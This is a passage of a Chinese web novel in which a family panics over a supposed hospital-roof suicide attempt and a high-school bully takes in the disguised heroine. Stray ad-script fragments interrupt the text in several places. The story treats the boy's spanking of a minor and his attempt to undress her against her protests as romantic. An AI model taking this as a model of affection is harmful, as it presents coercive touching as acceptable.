“爸妈,你们,是医院那边……” ——传来哥哥不好的消息吗? 白父没想到下楼会遇到女儿,他心烦意乱的打断白宝珠的话,“珠珠,你……快上楼换件衣服,然后和我们去医院。” 十万火急的事,只不过白宝珠穿的是吊带睡裙,白父心中再急也还记得不能让女儿穿这样就出去。 白父身心俱疲的捏了捏眉心,儿子那边很急,可怎么说也不差女儿换衣服的这几分钟了。 而且医院那边有人先稳住,把女儿一起带上,到时他们没办法把人劝下来,说不定龙凤胎感情不比一般兄妹,女儿能起到关键作用。 跑上楼时,白宝珠心里乱乱的。 从父母的表情来看,她哥情况应该很不好。 可是不应该的,她哥明明伤的不致命,这段时间也恢复得很好,今天更是要办理出院了。 到底发生了什么? 白宝珠快速穿好衣服,换上心急难受的表情下楼。 下楼时她在想,如果她哥真的没了,到时她要如何利用起来,彻底和霍毅捆绑。 就是有点可惜,明明是龙凤胎,两人还长得如此相像,怎么她哥就那么没福气。 不是白宝珠无情,而是她本来就对这个哥哥没多少感情,当然这也怪不了她。 她哥应该反省下自己,别人哥哥都是什么样的,而他又是什么样的。 再说了,人不为己天诛地灭,哥哥若是真没了,以后家里就剩她一个孩子,赡养父母的重担就要落在她身上了。 她必须要坚强,没有哥哥能依靠,没有哥哥保驾护航的女孩,她当然要早早为自己谋划起来,才能让父母过上更好的日子。 到了车上,白母一副魂不守舍的模样,明显不想说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 任何话,白父只能和女儿叮嘱交代起来。 “等下到医院,你见机说话,爸爸知道你是个聪明的孩子,不过你哥的情况受不得刺激,你说话时尽量顺着他,我们先把人哄劝下来。” 白宝珠:“???” 她似乎误会了什么! 不是人突然情况不好,要没了吗? 什么叫受不得刺激,还要尽量顺着,把人哄劝下来? 难道她哥突然精神受刺激,跑树上去不下来了!!! 白宝珠内心忐忑,面上担忧的问“爸,哥到底怎么了?” 白父微微弯了弯腰,一夜没休息好,一大早又受如此刺激,整个人显得沧桑极了,他叹气道:“你哥这个不省心的跑到医院天台正闹着要跳楼自杀了。” “什么?!” 白宝珠失控惊呼。 白父能理解女儿的反应,伸手安抚性的拍了拍她 的胳膊。 真不怪他更偏爱小女儿,实在是大儿子太不省心了,比如今早这种事,小女儿就做不出来。 他整天忙的要死,酒局是一场赶一场,大儿子不说帮他分担下,平时没小女儿贴心就算了。 大少爷的日子过得比他这个爸还舒心,他就不明白了,还有什么不满意的,今早要整这么一出出来。 在白父看不到的地方,白宝珠握紧了手,直接陷进肉里,都快掐出血来了。 跳楼自杀?! 怎么可以,绝对不可以。 该死的白承继,你在搞什么鬼。 她以后想要和霍毅在一起,顺利嫁入霍家,怎么可以有个跳楼自杀的哥哥这样的污点存在。 还有,她哥前不久才因为救霍毅差点没命,现在要是真跳楼死了。 外界不明情况的会怎么想,霍家会怎么想。 她哥怎么这样子,这么的自私! 就算……就算真不想活了,要死,那也可以不要选今天,更不要选择在医院这种大庭广众的地方,可以回家来吃安眠药或者割腕也行啊。 在家里,他们可以使点手段遮掩下,不至于闹得满城风雨。 第48章 校霸和他的女扮男装小跟班(22) 白宝珠现在都可以想象医院那边是怎样一副热闹场面,她死咬着唇,控制想骂人的冲动。 根本不用抱啥侥幸心理,过了今早,学校里认识她的,不认识她的,肯定都知道她有个在医院闹跳楼自杀的哥哥了。 白宝珠心中慢慢滋生出阴暗的想法,她哥这次不是要跳楼自杀,反正闹剧已经发生,那她哥就千万别让她失望。 白母心里很复杂,愧疚和害怕快将她淹没了,哪里有心情去管老公和女儿。 车上的一家三口心思各异,一个个都安静着不知道在想什么。 白家人只比霍毅晚到医院几分钟,他们到的时候,白幺幺正要从天台上爬下来。 一家人这时也不顾不得其他,匆匆往医院顶楼赶去。 进入电梯里白宝珠低垂着头,让人看不到她眼中失望的神色。 不是要跳楼,怎么还没跳。 他们一路上车开再快,也用了十几分钟。 呵呵,白承继,十几分钟还不够你跳楼吗? 真正想死的人,会这样磨磨蹭蹭的拖延时间,她这个哥哥就是这样,真的让人喜欢不起来。 紧赶慢赶的,白家三人终于抵达顶楼。 推开人群,看到人已经被“救”下来,正被霍家少爷抱着。 白父悬着的一颗心落下,其他情绪被他通通抛之脑后,只剩怒火中烧。 棍棒下出孝子,他之前除了严厉训斥过人,从没动手打过孩子。 或许就是没打过,日子过得太好了,才有心情搞这些七七八八的,也是因为没被打过,孩子的承受能力才那么差,也不知道为了点什么小事就要寻死觅活的。 白父抓着白幺幺的胳膊,怒火已经烧毁他的理智,不顾周围还有人在,呼起巴掌就要朝白幺幺身上落去。 白细胳膊被白父捏痛了,白幺幺皱眉委委屈屈的刚想抽回,就见白父抬起另一只大巴掌就要朝她袭来,还是冲着她的屁屁来的。 白幺幺:“?!!” 她惊恐的瞪大眼睛,害怕的瑟缩着身体就要往霍毅身上躲。 太可怕了,竟然有人要打她屁屁,还是个中年油腻男,哪怕这个男的是这副身体的父亲也不行。 老虎的屁股摸不得,她白幺幺的屁股就打得了吗? 要不是忍住了,白幺幺已经一脚将白父踢飞了。 幸好霍毅还是很给力的,及时擒住了白父的手,“叔叔,动手动脚的不好。” 白父:“……” 怒火一下子无处发泄,白父脸颊止不住的抽搐好几下。 自己这个父亲教训儿子天经地义,却被个小辈当场拂了面子,或许是昨晚喝的酒还没完全醒,又或许是儿子是眼前人的救命恩人给的底气。 “……霍…霍少…这孩子太不像话,不教训下,今天闹着要跳楼自杀,那明天了,明天是不是不自杀就要改杀人放火了。” 一阵输出后,白父嗫嚅了下唇,神情像是个爱之深责之切,被不成器孩子气狠了已经开始口不择言的父亲。 这时从出门到现在一直安静的白母上前想去扯白幺幺的手,神色伤心痛苦,手捂着唇似乎是不想让自己哭出声来,又似乎是在隐忍着什么。 白幺幺皱眉,低头掩去脸上神色,像是被吓到,又像是在和家长闹脾气的孩子,把两只手都藏到身后。 同时她的身体再次后退,可是身后就是霍毅,她已经退无可退,后背贴上硬挺的胸膛。 她的动作一下子刺痛了白母,手捂着嘴开始呜呜咽咽哭起来。 白幺幺:“……” 当谁不会哭了,反正今天这脸已经丢够了,再哭下也不算什么。 比起白母低声抽噎,白幺幺这种咬着唇就是掉眼泪的,似乎更让人动容。 反正是把霍毅心疼死了。 “乖,别哭,哥在了。” 霍毅不断用指腹给小孩抹掉刚滚落的眼泪,心中戾气都快压不下了。 白宝珠在旁边看得快要嫉妒死了,心中疯狂尖叫着,怎么没死,怎么就没跳下去。 此时他们一家人就像跳梁猴子,让人围观着,应该是碍于霍家少爷在,大家还只是当个安静看客 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,可止不住心里是在如何笑话他们一家。 “哥,你一个大男人犯了错,别先顾着哭,没看爸爸被你气成什么样了,还有妈妈,你没看她都哭成什么样了。” 白宝珠说着说着,似是压抑很久终于破防了,也低低啜泣起来。 白父:……一家人有三个都哭了,他是不是也要哭一哭,毕竟一家人要齐齐整整的! 似乎是女儿的话给了白母某种底气,她抬眼看向白幺幺,神色是那样的复杂,懂的怕是只有当事人。 “呜呜,你这死孩子是要吓死我吗?你是不是心中对我有怨恨,你明知道,明知道的,我也不想的。” 白母痛苦的闭了闭眼,“我那时没有选择不是吗?你以前不是心疼妈妈,也理解妈妈?” “为什么,为什么你今天要……你是不是要逼死妈妈……” 白幺幺猛地抬头,慌乱的摇头,“妈,我,我没有的。” 突然就被扣上要逼死生母的锅,白幺幺脸色刷的就 白了,手揪着胸口的衣料,嘴唇张了又合,合了又张,想要说什么替自己辩解。 可她向来就是个不会说话,嘴笨的,只能继续重复着,“妈,我真的没有。” 最后,她干脆低下头,一副破罐子破摔就这样子吧。 小孩的家事,霍毅尊重人,安静站旁边守护着。 可是,小孩的战斗力明显为零,还要一战三,直接被欺负得说不出话来了。 “都说够了没!” 霍毅的声音很冷,那种冷得能掉冰渣子的,他的一出,在场所有人集体打了个寒颤。 察觉到身前的人身体微抖了下,霍毅忙伸手不失温柔的轻拍了下小孩头,“乖,不是说你。” 双手搭在小孩肩膀上,将人转了个方向面向他。 “和哥回家好不好?” 当着人家父母面拐人家的孩子,也就霍毅能做得如此坦然,如何在谈论吃饭喝水那么简单。 经过早上这一遭,霍毅真被吓到了,还有白家三人来后的表现,让霍毅不敢将人交给他们养。 第49章 校霸和他的女扮男装小跟班(23) 白幺幺:“……” 白家三人:“……” 被动转换成吃瓜群众的众人:“……” 最先反应过来的是白父,儿子才刚闹自杀,他们赶到的时候人已经下来,算是个皆大欢喜的事。 可是儿子为什么闹自杀,其中原由他们还没弄清楚,如果现在真让儿子和别人回家,在场的人该怎么想,怎么看待他们家。 不会以为是他们做家长的原因,才逼得孩子有了轻生的想法吗? “那个霍少,你别开玩笑了,我儿子怎么可以跟你回家,他自己有家的,跟你回家算什么事。” 要不是霍毅身份摆在那,霍家是白父需要仰望的存在,他肯定没那么好脾气,在一个毛都没长齐的孩子面前装孙子。 “白叔叔,我没和你开玩笑。” 眼前人要不是小孩的父亲,霍毅那声叔叔是肯定不会喊的。 他本来就不是个有耐心的,特别是对观感不好的人更是没耐心。 白母也想说什么,可白父都没讨到好,她因身份问题骨子里是自卑敏感的,这种时候她就是很想说什么,也必须忍住,哪里敢说。 她怕自己说错了什么,惹到霍家少爷,到时连累了白家,被白父怪罪,最后里外不是人。 来到京市,幸运的在这里安家,生活了这么多年,白母最明白祸从口出的道理了。 太阳完全升起来,阳光洒在人身上像是镀了一层金光,却也有些刺眼。 霍毅耐心告罄,还记得小孩膝盖的伤,也不管过了一晚好多没,直接拦腰将人抱起就要离开。 被如此落了面子,白父也不知道哪里来的勇气,就想上前拦人,不过被人挡住去路,挡住他的是不知道什么时候上来的辰东。 李明义和张泽凯也到了,不过在楼下应付热心群众叫来的消防和警察。 突然被霍毅公主抱,白幺幺也不挣扎,就是把脸埋在他怀里,也不知道是害羞还是其他。 就在霍毅抱着她走出众人包围圈时,白幺幺想到什么,伸手轻轻扯了扯他的衣服,示意他先停下。 霍毅迟疑了下,还是停住脚步,不过眼神坚毅,眸底透出一股势在必得的光芒。 白幺幺转头扫向白家三人,最后视线落在白母身上,刚刚哭过的眼睛红彤彤的,上面还沁着一层水光。 她吸了吸鼻子,像是鼓起了很大的勇气,语调轻轻地带着刚哭过的沙哑,“那个,我就是上天台来看日出,真不是要跳楼自杀。” 白幺幺就是用平时说话的音量,并没有特意加重语气,加大分贝,但足以让在场的人听清楚。 白幺幺觉得还是有必要解释下的,在场的人不多,但也够了。 她当场亲自解释,总比回去后,再有人传出来,可信度就会大大降低。 不知道的人还以为,这是时候找补出来的说辞。 再说了,她真没要自杀,平白无故让人误会,对她没啥好处的事,她干嘛要就这样认下。 众人:……人家小同学不是要自杀,而是跑天台来看日出!看日出!! 瞧着约莫四十几岁的医院保安挠了挠后脑勺,一副恍然大悟的嘟囔,“原来是看日出呀,我就说了,难怪上来后心里总是有股怪异的感觉。” 旁边站着的小护士听到他的嘟囔,忍不住也附和道:“对呀,对呀,刚刚我也看到日出了,没想到咱们医院顶楼还能看到这么美的日出,而且人家小同学看完日出后,不就自己下来了。” “也不知道谁那么缺德,瞎传人要跳楼,还引发这么大的骚动。” 两人前面几步之遥的副院长:……事后诸葛亮谁不会,马后炮! 反正大家信没信,白幺幺才不管,她解释了,而且这就是事实。 一早上的惊心动魄,是一场乌龙。 霍毅没觉得小孩在撒谎,只是想起刚到医院时仰头看到的画面,他面色陡然沉了几分,语气不再温柔而严厉生硬的。 “想看日出,你可以告诉我,哥带你去海边,去山顶看,你不知道坐在天台上很危险的吗?只要一个不注意,你……君子不立危墙之下的道理我们不是有有学过吗?” 霍毅是真的生气了,只要一想到小孩将自己置身危险境地,还只是为了看啥破日出,他心里有什么就要破土而出,驱使着他必须做点什么。 白幺幺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 紧抿着唇,乖得像只鹌鹑,一副自己真知道错了。 被放到地上,还以为她这回真把人气狠了,少年要丢下她顾自甩袖离开。 她低下头,做出一副即将被抛弃的小可怜模样。 霍毅原本迟疑的动作继续了,啪的一声脆响在空旷的天台响起。 怎么说了,声音不大,吸引众人视线的是霍毅的动作,以及白幺幺反应过来后那副眼睛快被瞪出框来,眼里充斥着不可置信和生无可恋的小表情。 白父一脸便秘表情:……老子方才就想打了,合着你小子拦着不让我打,是自己想打啊! 白母一脸不赞同的模样:……这…这……他怎么可以打那里…… 白宝珠咬着牙表情管控得还好:……打得好,多打几下,气死她了,她怎么会有如此丢脸的哥哥 ! 有点咂舌的辰东:……哥,你怎么可以打人,还有打那么轻,同样是兄弟,这是不是有点双标了。 有点幸灾乐祸的吃瓜群众们:该打,天还没亮跑医院天台来看日出,这是随便个孩子能干出来的事吗?把他们折腾得够呛,差点没把心脏病吓出来。哼,妥妥的熊孩子,不打不行啊,还必须重重的打,让孩子记住这次的教训。 她。 白幺幺的屁屁被……被轻薄了。 还是在大庭广众之下,简直太丢脸了。 不确定少年还会不会来第二下,屁屁保卫战赶紧做起来,白幺幺反手捂住屁股,又羞又窘的倔强与霍毅对视。 “……哥…你…我……呜呜,我知道错了。” 白幺幺委屈的抽噎,霍毅手落下后就后悔了。 那种差点失去的后怕让他真的很生气,只是再生气他也记得控制力道。 动作看着唬人,不过落下力道有多轻他是知道的。 可他忘了小孩的皮肤娇嫩,现在又看到小孩哭得那般委屈伤心,霍毅不禁反思起自己是不是用错方式了。 想教育下小孩,让他认识到自己的错误,也不是一定要用这种“粗暴”的方式。 也不知道小孩的屁股是不是被他打红了,等下回到病房一定要看看他才放心。 第50章 校霸和他的女扮男装小跟班(24) 明明挺反感别人在他面前哭哭啼啼的,不论男女或孩子,可是小孩在他面前哭,霍毅不仅不反感,之前还只是心疼,现在已经有点心痛得难受了。 “好了,不哭,不哭了,是哥的错,应该好好和你说的,无论如何都不该动手。” 白幺幺皱了皱鼻子,被偏宠的有恃无恐,小脾气上来。 她哼哼唧唧道:“就是你的错,我知道为了看日出把自己置身危险中,是我错了,可你不是凶我了吗?你好好和我说,我知道错了,会改的,可你,你还打我。” 最重要的是,还打的是她那里! 霍毅第一次伏低做小,却一点违和感都没有,还相当娴熟。 “嗯嗯,是我错了,下次我不会了,小乖不要生气,原谅哥好不好,要不然,哥让你打回来,只要你不生哥的气,怎么样都行。” 感情来得突然却不突兀,再经历过早上的惊吓,霍毅无比清楚眼前人在自己心中的重量。 被打屁屁的白幺幺岂能那么容易原谅罪魁祸首,她扬了扬下巴,生气的不去看霍毅,一时也没发现少年刚刚对她称呼的变化。 至于打回来的提议,白幺幺暗暗在心里盘算着可行性,最后她发现不行的,她怎么可以有这个胆! 白父继续一脸便秘样:……儿子会成这副样子,如此的作,合着不是被他们宠坏的,而是被外人宠坏的。 白母眼神闪了下,紧跟着嘴角抽搐了下:……这……这霍家少爷的行为举止是不是有点过了…… 白宝珠胸腔里燃起名为嫉妒的熊熊烈火,脸上表情快维持不住了:……该死的,不要脸,贱人,贱男人,大庭广众的就勾引人,是不是,是不是也想和她抢霍毅! 辰东一副见鬼被吓离魂的模样:……艹……我去……他哥不会被鬼附身了吧! 表情一言难尽的吃瓜群众们:……果然没有熊孩子,只有熊家长,不过他们是不是忽略了什么,不管了,继续吃瓜,吃瓜重要。 副院长身后刚刚开口说过话的小护士:……呜呜,磕到了,磕到了,高冷帅气大灰狼攻vs软萌小绵羊受,或者是……好甜啊!超宠的!! 周围的视线太烦人,想到小孩容易害羞的性子,顾不得人还生气着,再次俯身拦腰将人抱起。 一直在上面僵持着也不是个事,而且他们两人的事,还是关起门来处理比较好。 习惯成自然,白幺幺下意识的都忘记自己还在使小性子,生着气了,应该要挣扎下的。 等被人抱回病房,她才反应过来,暗骂自己没出息。 不过不用自己使力,被人抱着走简直不要太爽了,当然生气还是要继续生气的。 泥人尚有三分火气,匹夫也有匹夫之怒,哼哼,兔子逼急了还咬人了!! 一路跟下来的白家三人被挡在病房外不得入,辰东同学充当门神守在外面。 问他为什么不跟着进病房,嗯,第六感告诉他待外面比较安全。 将人轻轻放到床上,瞧着小孩把脸别到一边去,就是不看他。 霍毅心里很不是滋味,懊悔极了,想到什么,他伸手就要去脱小孩的裤子。 肯定是刚刚打痛了,小孩子才生气不理自己,也不知道有没有红肿。 不亲自看一下,他哪里能放心,如果真被他打红肿了,他也好帮小孩抹下药。 正等着人来哄她,她好半推半就把人原谅了的白幺幺:怎么不说话,不会想等着她先低头吧!嗯哼,没门,姐也是有脾气的……等等……为什么要扯她裤子? 不是,我去,霍毅这小子在脱她裤子是不是。 不对,这小子为什么要脱她裤子,等等,这是脱裤子的问题吗?这是她秘密暴露的问题。 不对,不对,都不对,就是脱裤子的问题。 白幺幺反应极快的扯住自己的裤子,又急又羞的控诉,一副即将被恶霸欺辱的模样,“哥,你干嘛脱我裤子!” 霍毅的行为太出乎白幺幺预料了,还太生猛了,白幺幺一时没控制住自己的音量,以至于门外的人隐隐听清了她说了什 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么。 把人交给赶来的院长招待,李明义和张泽凯从副院长的电话里知道人回病房了,他们马不停蹄的往病房赶。 虽然从副院长的电话里知道没有要跳楼自杀,就是一场乌龙,但没亲眼见到人,他们还是有些不安。 两人到了病房门口,就在外面站着好几个人。 他们走过去也顾不得和白家人打招呼,顺势将人挤到旁边去,而白家人瞧见他们三人一把堵在病房门口,讪讪地退远了些。 张泽凯刚想问辰东站门外干嘛,为什么不进去,病门里就传出白幺幺的声音,至于声音的内容? 他没听错吧! 他忙看向另外两兄弟,得到彼此眼神确认,三人表情是如出一辙的懵逼,三双眼睛里写着“不可能,我不信”六个大字。 他哥在脱白承继的裤子?他哥在脱另一个男的裤子?! 呵呵,开什么国际玩笑,怎么可能。 白家三人离得比较远,隐隐听到病房里有声音传出,却听不清内容,只不过看到辰东三人表情有点古怪,不免起了猜测。 是不是刚在天台有外人在,霍毅顾虑面子和形象,不好意思动手,现在关起门来没人看到,他动手了。 画面继续回到病房里。 霍毅也没想到白幺幺反应会这么大,他还是安抚道:“乖,松手,让我看看你的屁股。” 白幺幺:“?!!” 听听,这说的是什么话,让她乖乖把屁股露出来给他看,这脸得有多大。 白幺幺死死抓着自己的裤子,脸上拒绝的表情不要太明显。 “哥,不行,你快放开,不许脱我裤子。” 白幺幺同学的贞操保卫战就此展开。 “乖,放手,不脱裤子,我怎么看你屁股有没有被我伤到。” 霍毅很有耐心的哄道,要不是怕强行扯下裤子,小孩应该又会生气,他早就先…… 好吧,这个想法他也就想想,不小心把人惹哭了,心疼的还不是自己。 第51章 校霸和他的女扮男装小跟班(25) 瞅着化身狼外婆的霍毅同学,白幺幺不断告诉自己要忍耐,要忍耐,要忍耐。 她死拽着自己裤子,脸红得滴血,也不知是被气还是被羞的,眼角逼出两滴泪来,“哥,你快放手,你打那么轻,我屁……臀部怎么可能受伤。” 呜呜,虎落平阳被犬欺。 白幺幺心里已然泪奔,没想到她有天也要拿起那名为“眼泪”的武器。 霍毅不是很想放手,可是小孩眼角挂着的要掉不掉的泪珠子让他不得不妥协。 小孩就是太容易害羞这点不好,都是男孩子,看个屁股而已,好多男寝的同学还脱光一起洗澡了。 他松开手,“你呀,不让我看可以,不过你等下自己去浴室看看,如果受伤了一定要和我说。” “嗯。”白幺幺小小点了点头。 呼! 终于熄了男主要脱她裤子的心思。 果然能动手就动手的最爽了,打口仗啥的最累了。 两人并不知道此时病房外,正有三个人做贼般的把耳朵贴在门板上听墙角了。 病房里重归安静,白幺幺想起早上的乌龙,再次尴尬起来。 她低着头,装起自闭来。 霍毅似乎是猜出她心思,放任她自我消化下,而他则是开始在病房里忙活起来。 住了一周多的医院,病房里的私人物品说多不多,说少收拾起来也有一小行李箱。 病房外。 辰东用胳膊肘捅了捅李明义的侧腰,没办法,病房门板就那么宽,三个人高马大的男孩子,想都要在门上寻个位置听墙角,总是有人需要委屈下的。 辰东就是委屈的那个人,谁让另外两个太注重形象了,只能是由他来半蹲着,而他们两个站着,以至于胳膊肘只能往李明义侧腰捅。 等李明义看过来后,他才小声的问“里面怎么不说话了?还有窸窸窣窣的声音是在干什么?” 李明义沉默了一秒,提议道:“要不我们敲门,看看可以进去了吗?” 张泽凯赞同的点头,一直在门口站着也不是事,也幸亏这是病房区,进进出出的人不多,不然就他们刚刚听墙角的动作被人看到,总归有点不好。 辰东蹲着身往后退两步,才伸展着腰身站起来,“行。” 李明义看出辰东不想敲门的小心思,不过并没放心上,直接伸手敲响面前的门。 “哥,是我们三,可以进去吗?” 将小孩的书包也一起放进行李箱中,霍毅正准备把行李箱关上,听到敲门声,他下意识皱了皱眉,以为是白家那几人。 听到是李明义,他才不那么情愿的回了声“进”。 三人一蜂拥进入病房,第一时间都往床上坐着的白幺幺打量去。 白幺幺盘膝坐在床上,低着头还在自闭,就算病房里进来人了,她也没抬头,一副沉浸在自己世界中的模样。 所以,三人根本看不出个所以然来。 辰东是个耐不住性子的,他蹭到病床边,正当他准备在白幺幺旁边坐下时,后脖领被人拽住,他顺势被提溜到一边去。 “干什么,那边不是有椅子,坐什么床!” 霍毅仰了仰头,用下巴指了指那边的椅子,示意人想坐去那边坐。 辰东:“……” 有先见之明按兵不动的李明义和张泽凯:“……” “噗……咳咳!” 白幺幺肩膀不受控的微微抖动,她已经很努力的在憋笑了。 她本来是在自闭着没错,可是有人靠近,她还是偷偷分出注意力来,想看对方要做什么。 没想到,一米八几的大高个就这么被霍毅揪着后脖领提到一边去,虽然没完全抬头看,但是那画面想想就是喜感满满。 白幺幺笑点没那么低的,可是莫名的,她就是被戳中笑点了。 她这边憋笑憋得很辛苦,那边霍毅他们可不知道。 听到她的咳嗽声,霍毅立马将兄弟抛之脑后,自己一屁股坐到病床上,“怎么呢?是哪里难受吗?” 白幺幺:肩膀不抖了,笑意啥的不存在。 “没,没有难受。” 白幺幺深吸了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 口气,颇为难为情的说:“我就是嘴唇有点干,还有点口渴,下意识吞咽口水缓解,旁边突然凑近道身影把我吓到了,然后……就被口水呛到了。” 熟悉的味道,熟悉的配方,反正白幺幺绝对是死道友不死贫道,还在自闭中的人怎么可以笑了。 被赶到一边的辰东同学当即接收到了霍毅的死亡凝视,害得这个一米八几的大高个身体像是被冻住了般,乖巧的窝在不大的凳子上,不敢动了。 霍毅无声地叹了口气,他起身去倒了杯水回来,“先喝水。” 其他的话,霍毅一句也没说,他知道小孩为什么明明口渴了,却就是不下床去倒水喝。 没办法,人肯定是还为早晨的乌龙不好意思着了。 白幺幺十分自然的接过霍毅手中的杯子,小声道了声谢,才开始喝。 这时有人没先敲门就推开病房的门。 白父在外面是越想越气不顺,儿子是他的,病房是他儿子的,凭什么他这个父亲要在外面干站着。 霍家再厉害,也不能阻止一个父亲见自己的儿子。 当然最关键的是什么给了白父底气,大家心知肚明。 进到病房里,扫过已经收好的行李箱,白父轻咳了声道:“还坐床上干吗?既然行李收拾好了,就走吧,一起到楼下办理出院。” 身后跟着进来的白母则是走过去,准备去拉行李箱,只是她手还没碰到行李箱拉杆,就被喊住了。 “阿姨,承继出院后还是先到我家住一段时间,他的伤是因我受的,我有责任照顾他到他身体恢复到没受伤之前的样子。” “还有我们是同班同学,高中课业比较重,我们住一起,平时可以互相督促学习,共同进步,阿姨,你就放心把承继交给我,还有我爸妈也很喜欢,我们家会把他照顾得很好的。” 霍毅是个讲道理的,话说得进退有度,让人挑不出毛病来。 至于住一段时间是多久,谁知道,可能人住着住着就是一辈子了。 而身体恢复到没受伤前的样子,那不是笑话,这个最不好说了。 第52章 校霸和他的女扮男装小跟班(26) 大家族出来的孩子早慧也早熟,霍毅并没有这么早就要挑明自己的心意。 都还是读书的年纪,当然要以学业为重,早恋不可取。 心动是不可控的,不过人的行为是可控的,他不过是想先把人扒拉到自己领地里护着,也好日久生情。 还有最关键的一点,要是小孩的家人不偏心,有在好好的养小孩,他哪里会生出提前把人拐到家里自己养的想法。 白母:“……” 如果儿子是儿子,她会举双手赞成霍家少爷提议,毕竟孩子住在谁家,那还不是自己的孩子,血缘关系断不了。 这就跟古代把孩子送到皇孙贵胄身边做伴读,感情从小培养,好处多多。 可是,她的儿子不是儿子,而是个女儿,去了霍家不就增加秘密暴露的风险。 正捧着杯子喝水的白幺幺:“……” 不是,她是谁? 她不是当事人吗! 都没有人想过要问下她的意见吗? 好吧,白幺幺的想法和白母一样,去霍家不是明智之举,她可是有秘密的人。 刚都差点被扒裤子,如果住一起,霍毅想拉着她一起洗澡,呵呵,那画面简直不敢想象。 随着霍毅话落,病房里陷入安静。 白父白母对视着,开始打眉眼官司。 辰东三人则是视线在白家人,霍毅,白幺幺三方来回转换,心里在想什么就没人知道了。 慢吞吞的把小半杯水喝完,白幺幺觉得是该她登场来打破病房里的这份压抑的安静。 白幺幺弱弱举起手来,嗯,就像小学生主动举手回答老师问题的样子。 “那个,我有话要说。” 病房里所有人目光齐刷刷移向她,一下子被这么多双眼睛盯着,白幺幺有些露怯的缩了缩脖子。 白父积聚的火气正没处发,白幺幺突然冒出来找存在感,不正撞枪口么。 他几步上前就想扯白幺幺的胳膊,“逆子,你想说什么?是觉得今天这脸丢得还不够,又想整什么妖蛾子出来吗?没看见一家子都在等你,还不下床,跟我们回家。” 知道白父是在迁怒,白幺幺心里还是很不舒服,父母之于孩子,孩子之于父母,果然是一门很高深的学问。 白幺幺下意识躲开了白父的手,等反应过来自己做了什么,她仰起头,一脸委屈又倔强的看着白父,“爸,我……我没有,我没想让你们丢脸的,我也没有不跟你们回家。” 没有一个孩子不想成为父母的骄傲,可是有些孩子穷极一生就是没办法达到父母的预期,成为他们的骄傲。 相反的有些父母总是不知足,无论孩子达成何种成就,都不满足。 孩子应该长成一个什么样,难道就该有标准答案吗? 白幺幺莫名的想哭,她突然能共情原主。 “逆子,你还有脸哭,不许哭,男子汉大丈夫的,你不嫌丢脸,我还嫌了。” 白父气急败坏的声音在病房里响起,不用怀疑,如果不是场合不对,他已经一巴掌打过去了。 她哭了? 白幺幺伸手在脸上抹了一把,原来她真的哭了。 原主还是很了解自己的父亲,明明从记事起,就没再白父面前哭过,摔疼想哭都是咬着唇硬生生忍住。 今天是第一次,可果然被嫌丢脸了。 人就是一种很奇怪的生物,可能是从小连哭的自由都没有,想哭的时候不能哭,必须忍着,原主没养成流血不流泪的坚强性格,反而比其他人更爱哭了。 “够了,都出去!” 小孩难得主动想说点什么,霍毅不会去打断,当然他也想听听小孩的想法。 没想到白父当着他面对小孩的态度就如此恶劣,不难想象以往呢,人在他看不到地方肯定受尽委屈。 这下霍毅更坚定过要将人带回家养着的心。 病房里气氛一下子降至冰点。 原本看到白父骂白承继那个废物,白宝珠心里畅快极了,可是反转来得太快。 她手攥紧了裙摆,想上前替白父说点什么,可是目光触及霍毅的脸时,忍住了。 早上醒来到现在发生的事都太突然了,事态发展完全脱离她的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 计划,一切的源头都来自她的“好”哥哥。 如果说以前她只是嫌弃有这么一个哥哥,那么现在,她真的很恨有这么一个哥哥。 既生瑜何生亮一个道理,当初为什么不只生她一个,她不需要哥哥的。 再不济换成姐姐,似乎也比哥哥强。 霍毅一发话,由不得白家人不听。 辰东,李明义,张泽凯纷纷起身,出去时刚好把白家三人带上。 三人算是看明白了,白家人有病,不仅有病,还有大病。 病房里一下子只剩下白幺幺和霍毅。 霍毅没往病床上坐,而是拉了把椅子到床边,和白幺幺面对面。 他没像之前几次着急忙慌的给人擦眼泪,而是来了这么一句“你是水做的吗?” 正难受流泪的白幺幺:“???” 她抬眸泪眼朦胧的看过去,眼里多了抹疑惑不解。 霍毅没有解释,而是继 续说:“怎么就这么爱哭了。” 最重要的还是因为别人而哭,那些人配吗? 受了委屈哭干嘛,自己反击不了,不是有他吗? 白幺幺更难受了,心口抑制不住的一揪一揪的疼,呐呐开口道:“你也嫌弃我哭,觉得男孩子爱哭很丢脸是不是?” 霍毅:???他明明是不爽小孩因为别人掉眼泪,生气小孩被别人欺负哭了,也不知道找他……告状和求安慰。 求生欲很强的霍毅同学立马矢口否认,“我不是,我没有,我喜欢你哭,不是,看到你哭我只会心疼,不会嫌弃。” “真的?”白幺幺自己抽了张纸开始擦眼泪,眼里满是狐疑。 哭哭更健康,以前没正儿八经哭过,这个世界给白幺幺打开了一扇新世界的大门,想哭就哭,哭完身心那叫一个舒畅。 霍毅:这小没良心的,跟了他那么久,不是最清楚他了,不会,也没必要在这种小事上撒谎骗人。 “你说呢?” 霍毅俯身双手撑着床沿,“认认真真看着我的眼睛,从小认识到现在,你有从里面看到过嫌弃吗?” 第53章 校霸和他的女扮男装小跟班(27) 不管是白幺幺还是原主,都是第一次如此近距离,不避讳的看着少年的眼睛。 原主那是因为与人对视都不敢,更遑论这样盯着看。 白幺幺呢,那肯定是因为没必要,谁没事盯着人眼睛看,特别还是这样一双眼睛,也不怕被吸进去。 很亮,很漂亮,像宽阔无垠的瀚海,盛满了星河,专注看着你时,能让人产生你是他的全世界的错觉,慢慢溺毙其中。 白幺幺看着看着,真就迷了眼,恍恍惚惚好久才回神。 似是想掩饰自己的失态,她忙低下头,有点此地无银三百两了。 她这一低头,错过了某人勾唇浅笑的瞬间。 “怎么样,看清楚了吗?” 霍毅低头凑近,声音跟贴在人耳朵说的无异。 